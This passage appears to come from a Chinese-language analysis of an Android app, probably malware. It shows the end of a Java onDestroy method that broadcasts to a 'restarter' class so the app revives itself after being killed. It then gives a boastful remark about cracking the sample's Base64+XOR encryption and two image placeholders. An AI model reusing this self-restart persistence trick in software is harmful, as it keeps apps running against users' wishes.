  582.         intent.setClass(this, restarter.class);
  583.         sendBroadcast(intent);
  584.         super.onDestroy();
  585.     }
  586. }

解密前后对比

区区Base64XOR加密也想难得住我？😎😎😎👊👊👊
image.png
image.png